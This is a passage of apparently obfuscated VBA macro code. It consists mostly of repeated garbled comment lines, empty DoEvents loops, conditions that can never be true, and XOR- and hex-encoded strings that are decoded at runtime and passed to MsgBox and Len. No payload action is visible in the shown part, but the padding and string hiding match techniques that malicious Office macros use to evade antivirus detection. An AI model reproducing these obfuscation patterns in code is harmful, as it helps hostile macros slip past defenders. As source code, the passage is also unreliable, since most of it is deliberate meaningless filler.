  1713. Dim WGfXbaMk As Integer
  1714. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1715. For WGfXbaMk = 0 To 7
  1716. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1717. DoEvents
  1718. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1719. Next WGfXbaMk
  1720. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1721. Loop
  1722. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1723.  
  1724. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1725. Dim gZkROGZb As Integer
  1726. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1727. For gZkROGZb = 0 To 2
  1728. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1729. DoEvents
  1730. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1731. Next gZkROGZb
  1732. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1733.        MsgBox (XORI(Hextostring("2F10112B222F2B255E5A"), Hextostring("414A68634648")))
  1734. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1735. End If
  1736. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1737. If Len(XORI(Hextostring("1A2A040F2A113F1E7E474F7F"), Hextostring("757A48"))) = Len(XORI(Hextostring("05013B123E223517"), Hextostring("646D6D6B70"))) Then
  1738. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1739.  
  1740. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1741. Dim NHdqSqjl As Integer
  1742. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1743. Dim QVBBRVlW As Integer
  1744. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1745. For QVBBRVlW = 0 To 9
  1746. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1747. DoEvents
  1748. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1749. Next QVBBRVlW
  1750. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1751. NHdqSqjl = 4
  1752. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1753. Do While NHdqSqjl < 41
  1754. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1755. Dim loNyYxqH As Integer
  1756. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1757. For loNyYxqH = 0 To 8
  1758. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1759. DoEvents
  1760. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1761. Next loNyYxqH
  1762. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1763. DoEvents: NHdqSqjl = NHdqSqjl + 1
  1764. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1765. Dim ndplcqeU As Integer
  1766. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1767. For ndplcqeU = 0 To 4
  1768. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1769. DoEvents
  1770. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1771. Next ndplcqeU
  1772. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1773. Loop
  1774. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1775.  
  1776. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1777. Dim LaqppmcT As Integer
  1778. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1779. For LaqppmcT = 0 To 9
  1780. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1781. DoEvents
  1782. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1783. Next LaqppmcT
  1784. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1785.       MsgBox (XORI(Hextostring("1110343D2048754367"), Hextostring("546246525268")))
  1786. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1787. End If
  1788. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1789.  
  1790. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1791. Dim AZClcOoy As Integer
  1792. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1793. Dim ilOjdGwp As Integer
  1794. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1795. For ilOjdGwp = 0 To 9
  1796. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1797. DoEvents
  1798. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1799. Next ilOjdGwp
  1800. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1801. AZClcOoy = 9
  1802. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1803. Do While AZClcOoy < 98
  1804. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1805. Dim aqKOOiwa As Integer
  1806. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1807. For aqKOOiwa = 0 To 8
  1808. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1809. DoEvents
  1810. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1811. Next aqKOOiwa
  1812. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1813. DoEvents: AZClcOoy = AZClcOoy + 1
  1814. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1815. Dim sWPdEECi As Integer
  1816. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1817. For sWPdEECi = 0 To 7
  1818. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1819. DoEvents
  1820. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1821. Next sWPdEECi
  1822. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1823. Loop
  1824. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1825.  
  1826. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1827. Dim kfTTpTiR As Integer
  1828. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1829. For kfTTpTiR = 0 To 8
  1830. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1831. DoEvents
  1832. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1833. Next kfTTpTiR
  1834. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1835.    Set RNNVUWVLESY = Nothing
  1836. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1837.  
  1838. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1839. If 813875 = 813875 + 1 Then End
  1840. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1841. If 8543 < 81 Then
  1842. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1843.  
  1844. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1845. Dim lARGpllG As Integer
  1846. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1847. Dim eCNqowmF As Integer
  1848. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1849. For eCNqowmF = 0 To 5
  1850. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1851. DoEvents
  1852. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1853. Next eCNqowmF
  1854. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1855. lARGpllG = 7
  1856. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1857. Do While lARGpllG < 87
  1858. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1859. Dim sXRHtlwy As Integer
  1860. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1861. For sXRHtlwy = 0 To 4
  1862. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1863. DoEvents
  1864. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1865. Next sXRHtlwy
  1866. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1867. DoEvents: lARGpllG = lARGpllG + 1
  1868. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1869. Dim pqfrwebA As Integer
  1870. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1871. For pqfrwebA = 0 To 1
  1872. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1873. DoEvents
  1874. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1875. Next pqfrwebA
  1876. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1877. Loop
  1878. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1879.  
  1880. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1881. Dim unCkIuYW As Integer
  1882. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1883. For unCkIuYW = 0 To 9
  1884. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1885. DoEvents
  1886. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1887. Next unCkIuYW
  1888. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1889.        MsgBox (XORI(Hextostring("24243119183F2F185654"), Hextostring("6F674554")))
  1890. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1891. End If
  1892. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1893. If Len(XORI(Hextostring("06270025363B06215E775C58"), Hextostring("776568426569"))) = Len(XORI(Hextostring("03001A1E0B181101"), Hextostring("7463704F4F"))) Then
  1894. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1895.  
  1896. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1897. Dim RfsdIxHn As Integer
  1898. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1899. Dim VAjNmWcB As Integer
  1900. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1901. For VAjNmWcB = 0 To 5
  1902. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1903. DoEvents
  1904. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1905. Next VAjNmWcB
  1906. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1907. RfsdIxHn = 9
  1908. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1909. Do While RfsdIxHn < 43
  1910. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1911. Dim imlWPWPx As Integer
  1912. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1913. For imlWPWPx = 0 To 6
  1914. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1915. DoEvents
  1916. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1917. Next imlWPWPx
  1918. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1919. DoEvents: RfsdIxHn = RfsdIxHn + 1
  1920. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1921. Dim KgKLxLju As Integer
  1922. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1923. For KgKLxLju = 0 To 7
  1924. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1925. DoEvents
  1926. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1927. Next KgKLxLju
  1928. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1929. Loop
  1930. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1931.  
  1932. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1933. Dim AolHysaG As Integer
  1934. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1935. For AolHysaG = 0 To 4
  1936. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1937. DoEvents
  1938. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1939. Next AolHysaG
  1940. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1941.       MsgBox (XORI(Hextostring("3C391C280B6B4F6658"), Hextostring("794B6E47")))
  1942. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1943. End If
  1944. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1945.  
  1946. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1947. Dim WhazPzFh As Integer
  1948. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1949. Dim wLgyaeWJ As Integer
  1950. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1951. For wLgyaeWJ = 0 To 3
  1952. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1953. DoEvents
  1954. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1955. Next wLgyaeWJ
  1956. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1957. WhazPzFh = 3
  1958. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1959. Do While WhazPzFh < 74
  1960. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1961. Dim tDFivucW As Integer
  1962. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1963. For tDFivucW = 0 To 9
  1964. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1965. DoEvents
  1966. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1967. Next tDFivucW
  1968. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1969. DoEvents: WhazPzFh = WhazPzFh + 1
  1970. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1971. Dim RLHVoERl As Integer
  1972. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1973. For RLHVoERl = 0 To 8
  1974. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1975. DoEvents
  1976. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1977. Next RLHVoERl
  1978. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1979. Loop
  1980. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1981.  
  1982. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1983. Dim MVjWXZHy As Integer
  1984. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1985. For MVjWXZHy = 0 To 4
  1986. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1987. DoEvents
